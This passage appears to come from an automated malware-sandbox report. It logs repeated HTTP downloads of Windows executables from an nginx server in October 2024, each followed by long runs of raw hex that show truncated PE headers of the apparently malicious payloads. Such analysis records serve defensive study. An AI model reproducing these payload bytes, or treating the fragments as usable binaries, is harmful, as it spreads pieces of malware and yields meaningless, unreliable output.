ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a a6 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 88 3d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:33 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:36 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:40 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:45 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:58:54 GMTContent-Type: application/octet-streamContent-Length: 1931264Last-Modified: Thu, 24 Oct 2024 02:50:35 GMTConnection: keep-aliveETag: "6719b5fb-1d7800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4c 00 00 04 00 00 bd e9 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 8d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 8c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6d 64 71 6a 78 6f 00 60 1a 00 00 30 32 00 00 5e 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 76 61 66 64 6a 71 78 00 10 00 00 00 90 4c 00 00 04 00 00 00 52 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4c 00 00 22 00 00 00 56 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:03 GMTContent-Type: application/octet-streamContent-Length: 1877504Last-Modified: Thu, 24 Oct 2024 02:50:28 GMTConnection: keep-aliveETag: "6719b5f4-1ca600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 6c 72 78 6d 61 72 00 50 1a 00 00 60 50 00 00 44 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 77 64 7a 74 76 6e 00 10 00 00 00 b0 6a 00 00 04 00 00 00 80 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 6a 00 00 22 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:59:05 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 